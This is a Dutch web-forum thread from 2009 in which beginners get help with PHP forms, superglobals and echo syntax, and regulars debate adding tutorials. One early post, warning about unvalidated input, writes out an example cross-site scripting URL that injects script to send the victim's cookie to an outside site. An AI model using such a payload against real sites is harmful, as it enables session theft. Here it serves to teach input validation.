      zondag 22 maart 2009 @ 13:58:42 #58
    75592 GlowMouse
    l'état, c'est moi
    pi_67292308
    1. Ja dat, en dan aan het begin van je script een keer aanroepen en die verbinding dan in de rest van je script gebruiken. Eventueel later kun je je eigen db-klasse shrijven.
    2. ja, bij mysql gaat connecten toch snel.
    5. klopt, en je hebt ook nog $_COOKIE.
    6. Nee hangt niet samen. Input moet je altijd controleren. Zie oa. ook discussies over SQL injection. Wat als ik nu spelers_edit.php?spelers_id="><script language="JavaScript">document.write('<img src="http://mijnsite.com/?cookie' + document.cookie . '</img');</script> door jou laat aanklikken? Dan heb ik je cookie.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
      zondag 22 maart 2009 @ 13:59:09 #59
    75592 GlowMouse
    l'état, c'est moi
    pi_67292318
    quote:
    Op zondag 22 maart 2009 13:57 schreef jakees het volgende:

    [..]

    heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
    Nee, heb je een linkje?
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67292404
    quote:
    Op zondag 22 maart 2009 13:59 schreef GlowMouse het volgende:

    [..]

    Nee, heb je een linkje?
    nee ik werk alleen lokaal nog. Site is nog niet up zeg maar. Als ik in mijn spelers_edit.php
    1<?php echo $spelers_voornaam?>; 
    aanroep dan krijg ik geen resultaat. Het gekke is dat het wegschrijven wel goed gaat. De regel waar het ondermeer misgaat:
    1<input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
      zondag 22 maart 2009 @ 14:05:21 #61
    75592 GlowMouse
    l'état, c'est moi
    pi_67292509
    Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
    Je post begrijp ik niet.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67294491
    quote:
    Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
    Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
    Je post begrijp ik niet.
    ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
    pi_67302447
    quote:
    Op zondag 22 maart 2009 15:04 schreef jakees het volgende:

    [..]

    ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
    Dan moet je je variablen vullen door middel van een database query, niet met een GET request.
    pi_67312232
    quote:
    Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
    en dat moet je afsluiten met een puntkomma.
    <?= $bla ?> werkt prima zonder ; hoor (idem voor het langere <?php echo $bla ?>)
      maandag 23 maart 2009 @ 00:53:25 #65
    56176 Catch22-
    Ben je Blind?!
    pi_67312437
    misschien een idee om wat links naar basic tutorials neer te plempen in de OP? Ik zie hier steeds vaker vragen voorbijkomen, dat ik denk; wat weet je meer van php dan de wijze waarop je het spelt?
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67314401
    Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
    pi_67314456
    quote:
    Op maandag 23 maart 2009 08:39 schreef Roy_T het volgende:
    Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
    Eensch. Daarnaast zou een topic voor de wat meer onderlegde PHP-ers onder ons geen kwaad kunnen.
      maandag 23 maart 2009 @ 08:53:07 #68
    56176 Catch22-
    Ben je Blind?!
    pi_67314638
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67314676
    quote:
    Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    Eens. De ingewikkeldere vragen zijn leuker dan de 'help, ik heb iets gejat en het werkt niet' vragen.
      maandag 23 maart 2009 @ 11:20:34 #70
    187069 slacker_nl
    Sicko pur sang
    pi_67318158
    quote:
    Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    Niemand verplicht je om vragen te beantwoorden, als jij ergens een vraag ziet waarvan je denkt, dat ga ik niet beantwoorden, doe het vooral ook niet.
    In theory there is no difference between theory and practice. In practice there is.
      maandag 23 maart 2009 @ 11:45:03 #71
    56176 Catch22-
    Ben je Blind?!
    pi_67318981
    Nee dat is waar, maar misschien als we wat goeie tutorials (ook mbt debuggen) neerzetten, dan kan men die eerst doornemen.

    Straks heb je hier een helpdesk met het nivo van 'plemp je codeblock hier neer en een nerd die lost het probleem wel'
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
      maandag 23 maart 2009 @ 12:06:39 #72
    187069 slacker_nl
    Sicko pur sang
    pi_67319728
    Op zich is dat ook niet erg, denk dat deze reeks ook daardoor zo succesvol is geworden, mensen kunnen hier gewoon hun PHP vragen kwijt, hoe simpel deze ook mogen zijn voor de PHP veteraan.

    En het komt ook voor dat nav een simpele vraag de veteranen gaan lopen lullen of X methode beter is dan Y methode. Ik ben niet zo bang dat dit een helpdesk topic wordt, dat stadium hebben we allang bereikt
    In theory there is no difference between theory and practice. In practice there is.
      maandag 23 maart 2009 @ 12:39:43 #73
    56176 Catch22-
    Ben je Blind?!
    pi_67320794
    dan nog is het niet erg om even een aantal tutorials te noemen in de OP
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
      maandag 23 maart 2009 @ 13:11:24 #74
    187069 slacker_nl
    Sicko pur sang
    pi_67321756
    Daar heb ik ook geen problemen mee hoor
    In theory there is no difference between theory and practice. In practice there is.
    pi_67347039
    http://www.fluffycat.com/PHP-Design-Patterns/ <-- design patterns, ook handig voor in de OP.
    abonnement Unibet Coolblue Bitvavo
    Forum Opties
    Forumhop:
    Hop naar:
    (afkorting, bv 'KLB')